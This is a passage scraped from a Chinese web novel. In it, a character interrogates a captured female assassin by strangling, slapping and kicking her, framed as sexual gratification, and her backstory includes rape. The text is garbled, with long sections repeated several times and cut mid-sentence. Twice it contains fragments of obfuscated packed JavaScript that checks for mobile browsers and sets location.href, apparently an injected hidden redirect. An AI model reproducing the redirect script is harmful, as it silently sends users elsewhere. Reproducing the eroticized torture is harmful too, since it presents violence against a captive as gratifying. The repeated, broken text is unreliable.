假三娘眼角有泪,月光照在她的脸上十分憔悴。 胖子冷笑一声:“呵,别以为胖爷不知道你能把自己嘴里的抹布吐出来,别装了,没意思,抓紧交代你的犯罪事实,争取宽大处理,这才是你的唯一出路!” 果然。 假三娘只用了几下,便把嘴里的抹布咬了出来,然后狠狠吐在地上,声音清冷的说道。 “没看出来,你这胖子还有点实力。” “实力谈不上,就是**杀得多,积累下来的经验而已。” “呵,追我的那个人是谁?”假三娘对自己的轻功很自信,却没想到被侯春追到,还抓了回来。 胖子笑了:“噗呵呵呵,女人,你知不知道,你今天坑的人是谁啊?” “乾国世子。” “那你觉得,堂堂世子,手下会没有几个高手保护吗?” “你算高手吗?” “你说呢?”胖子站起来,扭了几下腰。 虽然是扭腰,但那前前后后的动作是个人都能看明白。 假三娘没有害羞,没有闪躲,甚至嘴角再次牵起冷笑:“呵,你不知道你很小吗?” “胖人都这样,不过对胖爷来说,舒爽便罢,大小并不重要。” 这个人.和传闻中不符啊。 情报里说,这个王胖子是个极其易怒的人,只要稍微刺激就会做出出格的事情。 假三娘见胖子不生气,暗暗有些埋怨给她情报的人,脸上却不动声色。 “我是煊赫门的人,是上峰派我来暗杀韩雷的。” 胖子走过来,蹲在他面前。 他清楚看到,假三娘在这个瞬间,偷偷攥紧了衣袖。 “少在胖爷面前耍花招,你那点武功根本伤不到胖爷。而且你也不是煊赫门的人,还是乖乖说实话,以免受皮肉之苦。” “你敢滥用私刑?” “呵,这个世界上就没有胖爷不能做的事情。”言罢胖子突然出手,狠狠掐住假三娘的脖子。 那只犹如铁钳般的大手瞬间让假三娘缺氧,脸色涨得通红。 她松开袖子,两只手去掰胖子的手,却无论如何也掰不开。 胖子盯着她,恶狠狠地说:“胖爷最后再说一遍,老实交代,否则.胖爷有一百种方法,让你爽个够!” 胖爷还能看在和你欢好过的份上,饶你一命!” **,这房子这么不隔音? 浣碧也意识到这个问题,想起刚刚她和林臻的对话与打闹,脸更是红成个大苹果,忙不迭地把头埋进被子里,再也不出来了。 被胖子这一嗓子搅和完,林臻也没了兴致,干脆把衣服脱掉放好,陪着浣碧一起躺下。 想伸手给浣碧暖暖肚子,可小丫头死活不愿意,身体紧紧地贴着墙壁,都快镶嵌进去了。 林臻这才想起,自己这些妻妾,好像没有一个痛经的。 那为什么后世那么多姑娘都痛经呢?这玩意真的是因为饮食和作息习惯导致的吗? 另一边。 胖子大马金刀地走到床边坐下,对面靠墙的就是嘴巴被塞住,头发乱糟糟的假三娘。 趁着月光可以看出,她出落的很是标致,如果不化三娘的妆应该是个可以和静澜媲美的娇娥。但是很可惜,她是**。 胖子对**其实没那么反感,但是你伤害我大哥,那就是你的不对了。 可以说,胖子的逆鳞很少,林臻是为数不多之一。 胖子脱掉长衫,露出满是胸毛的精壮上身,坐在床边双手撑着膝盖。 一双虎目定睛看着蜷缩在墙壁角落的女**。 “草,装鸡毛可怜啊?”胖子最受不了女人楚楚可怜的表情,通常女人只要一哭,他就会心软,然后干得更狠。 假三娘眼角有泪,月光照在她的脸上十分憔悴。 胖子冷笑一声:“呵,别以为胖爷不知道你能把自己嘴里的抹布吐出来,别装了,没意思,抓紧交代你的犯罪事实,争取宽大处理,这才是你的唯一出路!” 果然。 假三娘只用了几下,便把嘴里的抹布咬了出来,然后狠狠吐在地上,声音清冷的说道。 “没看出来,你这胖子还有点实力。” “实力谈不上,就是**杀得多,积累下来的经验而已。” “呵,追我的那个人是谁?”假三娘对自己的轻功很自信,却没想到被侯春追到,还抓了回来。 胖子笑了:“噗呵呵呵,女人,你知不知道,你今天坑的人是谁啊?” “乾国世子。” “那你觉得,堂堂世子,手下会没有几个高手保护吗?” “你算高手吗?” “你说呢?”胖子站起来,扭了几下腰。 虽然是扭腰,但那前前后后的动作是个人都能看明白。 假三娘没有害羞,没有闪躲,甚至嘴角再次牵起冷笑:“呵,你不知道你很小吗?” “胖人都这样,不过对胖爷来说,舒爽便罢,大小并不重要。” 这个人.和传闻中不符啊。 情报里说,这个王胖子是个极其易怒的人,只要稍微刺激就会做出出格的事情。 假三娘见胖子不生气,暗暗有些埋怨给她情报的人,脸上却不动声色。 “我是煊赫门的人,是上峰派我来暗杀韩雷的。” 胖子走过来,蹲在他面前。 他清楚看到,假三娘在这个瞬间,偷偷攥紧了衣袖。 “少在胖爷面前耍花招,你那点武功根本伤不到胖爷。而且你也不是煊赫门的人,还是乖乖说实话,以免受皮肉之苦。” “你敢滥用私刑?” “呵,这个世界上就没有胖爷不能做的事情。”言罢胖子突然出手,狠狠掐住假三娘的脖子。 那只犹如铁钳般的大手瞬间让假三娘缺氧,脸色涨得通红。 她松开袖子,两只手去掰胖子的手,却无论如何也掰不开。 胖子盯着她,恶狠狠地说:“胖爷最后再说一遍,老实交代,否则.胖爷有一百种方法,让你爽个够!” 胖爷还能看在和你欢好过的份上,饶你一命!” **,这房子这么不隔音? 浣碧也意识到这个问题,想起刚刚她和林臻的对话与打闹,脸更是红成个大苹果,忙不迭地把头埋进被子里,再也不出来了。 被胖子这一嗓子搅和完,林臻也没了兴致,干脆把衣服脱掉放好,陪着浣碧一起躺下。 想伸手给浣碧暖暖肚子,可小丫头死活不愿意,身体紧紧地贴着墙壁,都快镶嵌进去了。 林臻这才想起,自己这些妻妾,好像没有一个痛经的。 那为什么后世那么多姑娘都痛经呢?这玩意真的是因为饮食和作息习惯导致的吗? 另一边。 胖子大马金刀地走到床边坐下,对面靠墙的就是嘴巴被塞住,头发乱糟糟的假三娘。 趁着月光可以看出,她出落的很是标致,如果不化三娘的妆应该是个可以和静澜媲美的娇娥。但是很可惜,她是**。 胖子对**其实没那么反感,但是你伤害我大哥,那就是你的不对了。 可以说,胖子的逆鳞很少,林臻是为数不多之一。 胖子脱掉长衫,露出满是胸毛的精壮上身,坐在床边双手撑着膝盖。 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林臻这才想起,自己这些妻妾,好像没有一个痛经的。 那为什么后世那么多姑娘都痛经呢?这玩意真的是因为饮食和作息习惯导致的吗? 另一边。 胖子大马金刀地走到床边坐下,对面靠墙的就是嘴巴被塞住,头发乱糟糟的假三娘。 趁着月光可以看出,她出落的很是标致,如果不化三娘的妆应该是个可以和静澜媲美的娇娥。但是很可惜,她是**。 胖子对**其实没那么反感,但是你伤害我大哥,那就是你的不对了。 可以说,胖子的逆鳞很少,林臻是为数不多之一。 胖子脱掉长衫,露出满是胸毛的精壮上身,坐在床边双手撑着膝盖。 一双虎目定睛看着蜷缩在墙壁角落的女**。 “草,装鸡毛可怜啊?”胖子最受不了女人楚楚可怜的表情,通常女人只要一哭,他就会心软,然后干得更狠。 假三娘眼角有泪,月光照在她的脸上十分憔悴。 胖子冷笑一声:“呵,别以为胖爷不知道你能把自己嘴里的抹布吐出来,别装了,没意思,抓紧交代你的犯罪事实,争取宽大处理,这才是你的唯一出路!” 果然。 假三娘只用了几下,便把嘴里的抹布咬了出来,然后狠狠吐在地上,声音清冷的说道。 “没看出来,你这胖子还有点实力。” “实力谈不上,就是**杀得多,积累下来的经验而已。” “呵,追我的那个人是谁?”假三娘对自己的轻功很自信,却没想到被侯春追到,还抓了回来。 胖子笑了:“噗呵呵呵,女人,你知不知道,你今天坑的人是谁啊?” “乾国世子。” “那你觉得,堂堂世子,手下会没有几个高手保护吗?” “你算高手吗?” “你说呢?”胖子站起来,扭了几下腰。 虽然是扭腰,但那前前后后的动作是个人都能看明白。 假三娘没有害羞,没有闪躲,甚至嘴角再次牵起冷笑:“呵,你不知道你很小吗?” “胖人都这样,不过对胖爷来说,舒爽便罢,大小并不重要。” 这个人.和传闻中不符啊。 情报里说,这个王胖子是个极其易怒的人,只要稍微刺激就会做出出格的事情。 假三娘见胖子不生气,暗暗有些埋怨给她情报的人,脸上却不动声色。 “我是煊赫门的人,是上峰派我来暗杀韩雷的。” 胖子走过来,蹲在他面前。 他清楚看到,假三娘在这个瞬间,偷偷攥紧了衣袖。 “少在胖爷面前耍花招,你那点武功根本伤不到胖爷。而且你也不是煊赫门的人,还是乖乖说实话,以免受皮肉之苦。” “你敢滥用私刑?” “呵,这个世界上就没有胖爷不能做的事情。”言罢胖子突然出手,狠狠掐住假三娘的脖子。 那只犹如铁钳般的大手瞬间让假三娘缺氧,脸色涨得通红。 她松开袖子,两只手去掰胖子的手,却无论如何也掰不开。 胖子盯着她,恶狠狠地说:“胖爷最后再说一遍,老实交代,否则.胖爷有一百种方法,让你爽个够!” 胖爷还能看在和你欢好过的份上,饶你一命!” **,这房子这么不隔音? 浣碧也意识到这个问题,想起刚刚她和林臻的对话与打闹,脸更是红成个大苹果,忙不迭地把头埋进被子里,再也不出来了。 被胖子这一嗓子搅和完,林臻也没了兴致,干脆把衣服脱掉放好,陪着浣碧一起躺下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15435756|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想伸手给浣碧暖暖肚子,可小丫头死活不愿意,身体紧紧地贴着墙壁,都快镶嵌进去了。 林臻这才想起,自己这些妻妾,好像没有一个痛经的。 那为什么后世那么多姑娘都痛经呢?这玩意真的是因为饮食和作息习惯导致的吗? 另一边。 胖子大马金刀地走到床边坐下,对面靠墙的就是嘴巴被塞住,头发乱糟糟的假三娘。 趁着月光可以看出,她出落的很是标致,如果不化三娘的妆应该是个可以和静澜媲美的娇娥。但是很可惜,她是**。 胖子对**其实没那么反感,但是你伤害我大哥,那就是你的不对了。 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“你敢滥用私刑?” “呵,这个世界上就没有胖爷不能做的事情。”言罢胖子突然出手,狠狠掐住假三娘的脖子。 那只犹如铁钳般的大手瞬间让假三娘缺氧,脸色涨得通红。 她松开袖子,两只手去掰胖子的手,却无论如何也掰不开。 胖子盯着她,恶狠狠地说:“胖爷最后再说一遍,老实交代,否则.胖爷有一百种方法,让你爽个够!” 胖爷还能看在和你欢好过的份上,饶你一命!” **,这房子这么不隔音? 浣碧也意识到这个问题,想起刚刚她和林臻的对话与打闹,脸更是红成个大苹果,忙不迭地把头埋进被子里,再也不出来了。 被胖子这一嗓子搅和完,林臻也没了兴致,干脆把衣服脱掉放好,陪着浣碧一起躺下。 想伸手给浣碧暖暖肚子,可小丫头死活不愿意,身体紧紧地贴着墙壁,都快镶嵌进去了。 林臻这才想起,自己这些妻妾,好像没有一个痛经的。 那为什么后世那么多姑娘都痛经呢?这玩意真的是因为饮食和作息习惯导致的吗? 另一边。 胖子大马金刀地走到床边坐下,对面靠墙的就是嘴巴被塞住,头发乱糟糟的假三娘。 趁着月光可以看出,她出落的很是标致,如果不化三娘的妆应该是个可以和静澜媲美的娇娥。但是很可惜,她是**。 胖子对**其实没那么反感,但是你伤害我大哥,那就是你的不对了。 可以说,胖子的逆鳞很少,林臻是为数不多之一。 胖子脱掉长衫,露出满是胸毛的精壮上身,坐在床边双手撑着膝盖。 一双虎目定睛看着蜷缩在墙壁角落的女**。 “草,装鸡毛可怜啊?”胖子最受不了女人楚楚可怜的表情,通常女人只要一哭,他就会心软,然后干得更狠。 假三娘眼角有泪,月光照在她的脸上十分憔悴。 胖子冷笑一声:“呵,别以为胖爷不知道你能把自己嘴里的抹布吐出来,别装了,没意思,抓紧交代你的犯罪事实,争取宽大处理,这才是你的唯一出路!” 果然。 假三娘只用了几下,便把嘴里的抹布咬了出来,然后狠狠吐在地上,声音清冷的说道。 “没看出来,你这胖子还有点实力。” “实力谈不上,就是**杀得多,积累下来的经验而已。” “呵,追我的那个人是谁?”假三娘对自己的轻功很自信,却没想到被侯春追到,还抓了回来。 胖子笑了:“噗呵呵呵,女人,你知不知道,你今天坑的人是谁啊?” “乾国世子。” “那你觉得,堂堂世子,手下会没有几个高手保护吗?” “你算高手吗?” “你说呢?”胖子站起来,扭了几下腰。 虽然是扭腰,但那前前后后的动作是个人都能看明白。 假三娘没有害羞,没有闪躲,甚至嘴角再次牵起冷笑:“呵,你不知道你很小吗?” “胖人都这样,不过对胖爷来说,舒爽便罢,大小并不重要。” 这个人.和传闻中不符啊。 情报里说,这个王胖子是个极其易怒的人,只要稍微刺激就会做出出格的事情。 假三娘见胖子不生气,暗暗有些埋怨给她情报的人,脸上却不动声色。 “我是煊赫门的人,是上峰派我来暗杀韩雷的。” 胖子走过来,蹲在他面前。 他清楚看到,假三娘在这个瞬间,偷偷攥紧了衣袖。 “少在胖爷面前耍花招,你那点武功根本伤不到胖爷。而且你也不是煊赫门的人,还是乖乖说实话,以免受皮肉之苦。” “你敢滥用私刑?” “呵,这个世界上就没有胖爷不能做的事情。”言罢胖子突然出手,狠狠掐住假三娘的脖子。 那只犹如铁钳般的大手瞬间让假三娘缺氧,脸色涨得通红。 她松开袖子,两只手去掰胖子的手,却无论如何也掰不开。 胖子盯着她,恶狠狠地说:“胖爷最后再说一遍,老实交代,否则.胖爷有一百种方法,让你爽个够!” 第458章 我都说了,你为什么还打我? 假三娘虽然脸色涨红但依旧梗着脖子冷笑:“呵就凭就凭你那老三下?” 胖子不怒反笑松开手一把将她推开。 咚的一声假三娘后脑撞到墙壁上大声咳嗽:“咳咳咳呵呵呵死胖子你不是说要让老娘爽到极点吗?来啊你且看我会不会怕你!” “少来胖爷年轻活好才不会便宜你呢。说叫什么名字。” “琳琅。” “姓琳?” “不知道。” “啪!”胖子甩手一个大嘴巴抽得琳琅一愣一愣的。 那双水汪汪的大眼睛里满满都是被打后的兴奋与舒爽。 这种感觉特别奇怪奇怪到琳琅从来没有经历过。 胖子满脸横肉都拧到了一起:“为什么坑害我大哥?” “因为上峰的命令。” “上峰是谁?” “不知道。” “啪!” “啊!!”这巴掌比刚刚还要疼。 甚至琳琅都嘴角都已经有血流了出来。 但不知道为什么她就是很兴奋发出的声音也不像痛呼更像是男女间欢好时的愉悦。 胖子都被她这个叫声整懵了。 这若是传到林臻耳朵里肯定又以为他没干好事儿呢。 “什么B动静?你挨打上瘾啊?” 这句话几乎戳中了琳琅的内心她没有点头也没有摇头就这么楚楚可怜又欠打地看着胖子。 这个眼神一下就让胖子明白了。 这娘们绝对有被虐倾向其实这点他早在博望楼的时候就发现了端倪只不过当时情况紧急并没有往深处去想。 如今看来 “桀桀桀桀!!”胖子露出一种极其猥琐极其变态的笑容。 这样的女人他见过很多非常有经验。 只见他坏笑之后坐在地砖上也不脱鞋直接一脚踹在琳琅胸口。 砰的一声将她死死抵在墙壁上。 “砰!” “咳咳咳!” 胖子狞笑着用鞋尖撵了撵疼得琳琅脸色发白。 “说你是怎么进入博望楼的?什么时候得到的命令?还有你到底是谁?是何出身?都说出来!只要你说出来胖爷就陪你好好玩玩。” “啊!我说.我说!!”琳琅分不清此刻的自己是疼痛还是兴奋 同时她也将事情的始末都说了出来。 原来 琳琅是个孤儿,韩国人,从小被一富贵人家收留当丫鬟。 家里的少爷在她刚及笄的那天**了她,导致怀孕,后来少夫人又把她带走强行堕胎,最后卖给了人伢子。 却不知道这人伢行是哈德门的产业之一,在得知琳琅凄惨的身世后,就问她想不想报仇。 琳琅确实痛恨那个富贵人家,于是就说想。 哈德门趁此机会给琳琅洗脑,说什么世道不公啊,百姓受苦啊,你想不想为天下人做点事情啊之类的话。 琳琅小小年纪,以为遇到了什么良善人,于是开始跟着哈德门的人学习武功,但她身体瘦弱,武功并没有精进,反倒是轻功一流。 在接下来的几年中,琳琅开始学习各种潜伏的技能,包括化妆,话术,社交等等。 这次被派来博望也是听说煊赫门的人在这里与乾国达成了贸易,想从中作梗。 后面的事情就和林臻分析得差不多了,他们设计暗杀掉韩雷,从而引起煊赫门和林臻的**,让二锅头换取生铁的贸易受挫。 至于她是什么时候化妆成三娘的,其实就在林臻和胖子进门的前一刻,她干掉三娘,火速换上衣服,补了点妆。 在歌舞场那种喧闹昏暗的场所里,不仔细看谁也没认出来。 听完了这些,胖子松开脚。 琳琅痛苦地揉了揉胸口,发现有些硬邦邦的,应该是肿了。 该死的胖子。 她心里刚刚骂了一句,胖子用手又抽在她胸口上。 啪—— “你!我都说了,你为什么还打我? “因为你喜欢啊。 “屁!变态,恶心!死胖子,我绝不会放过你! “是么?那你倒是别摆出一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看到林臻坐在床边,她轻笑着将托盘放在桌子上,走过来说道:“夫君醒了?昨晚睡得可好?” 说着她跪下去,亲手给林臻穿袜子,穿裤子,穿鞋,整套动作行云流水,熟练至极。 林臻笑着说:“有你的陪伴,自然是好的。” “嘻嘻,那快起来吃饭吧?妾身煮了您最爱的小米粥,还有馒头,酱菜。” 第459章 寄生虫要学会自我救赎 林臻从来都不大鱼大肉的,就这样简单的饭菜是最爱,而且百吃不厌。 别看他身为世子,在大乾更是说一不二,比皇帝还要厉害几分的人物。 但他平时最不喜欢的就是铺张浪费,毕竟大乾现在只有京城附近的几个郡县百姓能勉强吃饱饭,大部分地区还在挨饿。 朱门酒肉臭,路有冻死骨。这样的事情韩国可以发生,但是林臻绝对不允许在自己国家内发生。 不过话又说回来,即便如此的提倡节俭,可浪费的行为依旧存在,根本没办法彻底杜绝。林臻没那么大的能耐管所以人,但是他可以管好自己。 “咕嘟咕嘟。”半碗小米粥下肚,林臻觉得自己浑身通透许多,估计体内的噬心蛊也在畅饮。 哥俩现在处得非常好,你帮我强健身体,强健体质,强健灵敏,强健感官。 我帮你. 帮个鸟,你就在我体内好好活着吧。 你一个寄生虫,应该要学会自我救赎,更要学会寄人篱下要低头的道理。 浣碧坐在桌子边,双手撑着下巴,一双美眸灵动地看着林臻吃饭。 林臻问道:“怎么还这么看着我啊?” “嘻嘻,妾身真是怎么看您都看不够呢~” “就你嘴甜,胖子起来了没?” “应该还没有呢吧?妾身刚才路过见他的房间门关着。” “这个大懒蛋,也不知道昨天审讯得怎么样,也不主动汇报,越来越没规矩了。”林臻抱怨着把最后一口小米粥喝掉,起身去找胖子。 按照胖子的性格,昨晚应该不会那么安静。 推开门,就见房间内很是整洁,只有墙角散落着一片抹布。 没人! “这什么情况?” 胖子是最喜欢睡懒觉的,怎么可能大早上不在屋里呢? 林臻心下一沉。 莫不是胖子被那个假三娘给劫持了?那也太离谱了吧? 正琢磨着,林臻一个转身,就听到身后有动静。 他立刻回身看去,就见一个大胖子正卡在窗框上,一只腿在前面一只腿在后面,对着林臻嘿嘿憨笑。 “嘿嘿嘿,大哥,你要没事的话帮胖爷一把?胖爷卡住了。” 林臻阴沉着脸,走过去抓住胖子的手,一把将他拽进来。 “诶诶诶!” 胖子惊恐一吼,大肚腩跟着晃悠两下,啪叽一声摔在地上。 林臻是不会心疼的。 而且越是他越是装,就说 明他很心虚!这个胖子绝对有事儿! “别装,我问你,刺客呢?” “啊?刺客跑了啊!!” “跑了?”林臻十分诧异。 侯春办事向来稳妥,这个刺客肯定是捆得好好的,怎么可能跑了呢? 林臻稍微一琢磨,就猜到了事情缘由,怒声说道:“肯定你是贪恋她的美色,下不去手,最后把她放跑了!对不对!” “我冤枉啊大哥!!”胖子连连摆手。 “胖爷承认与她有过肌肤之亲,但也没糊涂到那个地步!昨天本来审讯得挺好,基本都交代了,后来她说可以带胖爷去她们窝点,争取抓到更多的哈德门人,可谁知道这娘们半路朝胖爷裤裆踢了一脚,扭头就不见了!胖爷追了一宿也没追上,这才回来!” 胖子睁眼说瞎话的能耐林臻是知道的,所以他是一个字也不信。 “少胡说八道!刺客能招供就不错了,还能带着你去找哈德门的人?你骗谁呢!” “大哥!我冤枉啊!你不信你可以去问侯春,早上我把他喊起来让他带弟兄们去窝点抓人了,这个时间说不定已经回来了!我真冤枉啊!” 林臻见他说得信誓旦旦,还扯上了侯春,当下也信了几分。 于是说道:“等侯春回来我就问,如果你再敢撒谎骗我,我他妈就打死你!” 说完林臻怒气冲冲的下楼。 奶奶的,坑害自己的刺客难道真这么跑了?怎么可能呢。 来到楼下,正见到侯春一身劲装地走进来,对他抱拳:“世子,属下幸不辱命,将哈德门的一伙人连锅端了,人就在外面。” 林臻走出去,就看到八个书生打扮的中年男子被捆在驿站门口的马栓上。 路过的百姓都驻足观看,对他们指指点点,十分好奇。 林臻问道:“猴子,你能确定他们是哈德门的人?” “确定,每个人身上都有哈德门的令牌,而且他们所处的地方十分隐蔽,属下还整理了他们的物件,其中有很多关于各地区要员的情报。”说着侯春从他小弟手中拿过来很多纸张。 这上面密密麻麻写着很多情报,基本都是关于煊赫门的官员。 其中,情报最多的,内容最复杂的就是林臻。 可见他们算计林臻已经不是一天两天了。 奶奶的,这次落我手里,你们一个都别想好。 林臻将纸张交给侯春,自己走到哈德门人前面,对着所有看热闹的百姓喊到:“各位父老乡亲!大家快看,这些人就是哈德门的**!” “他们为了自己的私欲,滥用私刑,草菅人命,昨天更是下手杀害了县令韩雷!大家记住他们的长相,以后要小心哈德门!” 百姓立刻议论起来。 “啊?哈德门是什么?” “这你都不知道?就是以前的梅系啊!” “啊?他们不都是当官的吗?为什么要干出这样的事情!?” “你管那么多干啥,让你远离就远离,哈德门的人太可恶了,昨天更是杀了韩县令!” “对,不管怎么说,他们说**就**,就是不对!我们要反对哈德门!” “反对哈德门!” 林臻观瞧着百姓的态度,内心不住冷笑。 奶奶的,你们哈德门不是想挑起我和煊赫门之前的纷争么?好啊,老子就先让你们的名声臭大街!以后乾国王府,与哈德门就是不死不休! 老子一定要把你们彻底抹除,然后再专心对付韩天星。 “哗啦哗啦。” 急匆匆的脚步声伴随着金属碰撞声传来,林臻望去,就见一堆衙役走了过来。 为首的那人,正是昨天的博望县捕头,菜毕。 “世子,县丞大人有情。” 明他很心虚!这个胖子绝对有事儿! “别装,我问你,刺客呢?” “啊?刺客跑了啊!!” “跑了?”林臻十分诧异。 侯春办事向来稳妥,这个刺客肯定是捆得好好的,怎么可能跑了呢? 林臻稍微一琢磨,就猜到了事情缘由,怒声说道:“肯定你是贪恋她的美色,下不去手,最后把她放跑了!对不对!” “我冤枉啊大哥!!”胖子连连摆手。 “胖爷承认与她有过肌肤之亲,但也没糊涂到那个地步!昨天本来审讯得挺好,基本都交代了,后来她说可以带胖爷去她们窝点,争取抓到更多的哈德门人,可谁知道这娘们半路朝胖爷裤裆踢了一脚,扭头就不见了!胖爷追了一宿也没追上,这才回来!” 胖子睁眼说瞎话的能耐林臻是知道的,所以他是一个字也不信。 “少胡说八道!刺客能招供就不错了,还能带着你去找哈德门的人?你骗谁呢!” “大哥!我冤枉啊!你不信你可以去问侯春,早上我把他喊起来让他带弟兄们去窝点抓人了,这个时间说不定已经回来了!我真冤枉啊!” 林臻见他说得信誓旦旦,还扯上了侯春,当下也信了几分。 于是说道:“等侯春回来我就问,如果你再敢撒谎骗我,我他妈就打死你!” 说完林臻怒气冲冲的下楼。 奶奶的,坑害自己的刺客难道真这么跑了?怎么可能呢。 来到楼下,正见到侯春一身劲装地走进来,对他抱拳:“世子,属下幸不辱命,将哈德门的一伙人连锅端了,人就在外面。” 林臻走出去,就看到八个书生打扮的中年男子被捆在驿站门口的马栓上。 路过的百姓都驻足观看,对他们指指点点,十分好奇。 林臻问道:“猴子,你能确定他们是哈德门的人?” “确定,每个人身上都有哈德门的令牌,而且他们所处的地方十分隐蔽,属下还整理了他们的物件,其中有很多关于各地区要员的情报。”说着侯春从他小弟手中拿过来很多纸张。 这上面密密麻麻写着很多情报,基本都是关于煊赫门的官员。 其中,情报最多的,内容最复杂的就是林臻。 可见他们算计林臻已经不是一天两天了。 奶奶的,这次落我手里,你们一个都别想好。 林臻将纸张交给侯春,自己走到哈德门人前面,对着所有看热闹的百姓喊到:“各位父老乡亲!大家快看,这些人就是哈德门的**!” “他们为了自己的私欲,滥用私刑,草菅人命,昨天更是下手杀害了县令韩雷!大家记住他们的长相,以后要小心哈德门!” 百姓立刻议论起来。 “啊?哈德门是什么?” “这你都不知道?就是以前的梅系啊!” “啊?他们不都是当官的吗?为什么要干出这样的事情!?” “你管那么多干啥,让你远离就远离,哈德门的人太可恶了,昨天更是杀了韩县令!” “对,不管怎么说,他们说**就**,就是不对!我们要反对哈德门!” “反对哈德门!” 林臻观瞧着百姓的态度,内心不住冷笑。 奶奶的,你们哈德门不是想挑起我和煊赫门之前的纷争么?好啊,老子就先让你们的名声臭大街!以后乾国王府,与哈德门就是不死不休! 老子一定要把你们彻底抹除,然后再专心对付韩天星。 “哗啦哗啦。” 急匆匆的脚步声伴随着金属碰撞声传来,林臻望去,就见一堆衙役走了过来。 为首的那人,正是昨天的博望县捕头,菜毕。 “世子,县丞大人有情。” 明他很心虚!这个胖子绝对有事儿! “别装,我问你,刺客呢?” “啊?刺客跑了啊!!” “跑了?”林臻十分诧异。 侯春办事向来稳妥,这个刺客肯定是捆得好好的,怎么可能跑了呢? 林臻稍微一琢磨,就猜到了事情缘由,怒声说道:“肯定你是贪恋她的美色,下不去手,最后把她放跑了!对不对!” “我冤枉啊大哥!!”胖子连连摆手。 “胖爷承认与她有过肌肤之亲,但也没糊涂到那个地步!昨天本来审讯得挺好,基本都交代了,后来她说可以带胖爷去她们窝点,争取抓到更多的哈德门人,可谁知道这娘们半路朝胖爷裤裆踢了一脚,扭头就不见了!胖爷追了一宿也没追上,这才回来!” 胖子睁眼说瞎话的能耐林臻是知道的,所以他是一个字也不信。 “少胡说八道!刺客能招供就不错了,还能带着你去找哈德门的人?你骗谁呢!” “大哥!我冤枉啊!你不信你可以去问侯春,早上我把他喊起来让他带弟兄们去窝点抓人了,这个时间说不定已经回来了!我真冤枉啊!” 林臻见他说得信誓旦旦,还扯上了侯春,当下也信了几分。 于是说道:“等侯春回来我就问,如果你再敢撒谎骗我,我他妈就打死你!” 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“胖爷承认与她有过肌肤之亲,但也没糊涂到那个地步!昨天本来审讯得挺好,基本都交代了,后来她说可以带胖爷去她们窝点,争取抓到更多的哈德门人,可谁知道这娘们半路朝胖爷裤裆踢了一脚,扭头就不见了!胖爷追了一宿也没追上,这才回来!” 胖子睁眼说瞎话的能耐林臻是知道的,所以他是一个字也不信。 “少胡说八道!刺客能招供就不错了,还能带着你去找哈德门的人?你骗谁呢!” “大哥!我冤枉啊!你不信你可以去问侯春,早上我把他喊起来让他带弟兄们去窝点抓人了,这个时间说不定已经回来了!我真冤枉啊!” 林臻见他说得信誓旦旦,还扯上了侯春,当下也信了几分。 于是说道:“等侯春回来我就问,如果你再敢撒谎骗我,我他妈就打死你!” 说完林臻怒气冲冲的下楼。 奶奶的,坑害自己的刺客难道真这么跑了?怎么可能呢。 来到楼下,正见到侯春一身劲装地走进来,对他抱拳:“世子,属下幸不辱命,将哈德门的一伙人连锅端了,人就在外面。” 林臻走出去,就看到八个书生打扮的中年男子被捆在驿站门口的马栓上。 路过的百姓都驻足观看,对他们指指点点,十分好奇。 林臻问道:“猴子,你能确定他们是哈德门的人?” “确定,每个人身上都有哈德门的令牌,而且他们所处的地方十分隐蔽,属下还整理了他们的物件,其中有很多关于各地区要员的情报。”说着侯春从他小弟手中拿过来很多纸张。 这上面密密麻麻写着很多情报,基本都是关于煊赫门的官员。 其中,情报最多的,内容最复杂的就是林臻。 可见他们算计林臻已经不是一天两天了。 奶奶的,这次落我手里,你们一个都别想好。 林臻将纸张交给侯春,自己走到哈德门人前面,对着所有看热闹的百姓喊到:“各位父老乡亲!大家快看,这些人就是哈德门的**!” “他们为了自己的私欲,滥用私刑,草菅人命,昨天更是下手杀害了县令韩雷!大家记住他们的长相,以后要小心哈德门!” 百姓立刻议论起来。 “啊?哈德门是什么?” “这你都不知道?就是以前的梅系啊!” “啊?他们不都是当官的吗?为什么要干出这样的事情!?” “你管那么多干啥,让你远离就远离,哈德门的人太可恶了,昨天更是杀了韩县令!” “对,不管怎么说,他们说**就**,就是不对!我们要反对哈德门!” “反对哈德门!” 林臻观瞧着百姓的态度,内心不住冷笑。 奶奶的,你们哈德门不是想挑起我和煊赫门之前的纷争么?好啊,老子就先让你们的名声臭大街!以后乾国王府,与哈德门就是不死不休! 老子一定要把你们彻底抹除,然后再专心对付韩天星。 “哗啦哗啦。” 急匆匆的脚步声伴随着金属碰撞声传来,林臻望去,就见一堆衙役走了过来。 为首的那人,正是昨天的博望县捕头,菜毕。 “世子,县丞大人有情。” 明他很心虚!这个胖子绝对有事儿! “别装,我问你,刺客呢?” “啊?刺客跑了啊!!” “跑了?”林臻十分诧异。 侯春办事向来稳妥,这个刺客肯定是捆得好好的,怎么可能跑了呢? 林臻稍微一琢磨,就猜到了事情缘由,怒声说道:“肯定你是贪恋她的美色,下不去手,最后把她放跑了!对不对!” “我冤枉啊大哥!!”胖子连连摆手。 “胖爷承认与她有过肌肤之亲,但也没糊涂到那个地步!昨天本来审讯得挺好,基本都交代了,后来她说可以带胖爷去她们窝点,争取抓到更多的哈德门人,可谁知道这娘们半路朝胖爷裤裆踢了一脚,扭头就不见了!胖爷追了一宿也没追上,这才回来!” 胖子睁眼说瞎话的能耐林臻是知道的,所以他是一个字也不信。 “少胡说八道!刺客能招供就不错了,还能带着你去找哈德门的人?你骗谁呢!” “大哥!我冤枉啊!你不信你可以去问侯春,早上我把他喊起来让他带弟兄们去窝点抓人了,这个时间说不定已经回来了!我真冤枉啊!” 林臻见他说得信誓旦旦,还扯上了侯春,当下也信了几分。 于是说道:“等侯春回来我就问,如果你再敢撒谎骗我,我他妈就打死你!” 说完林臻怒气冲冲的下楼。 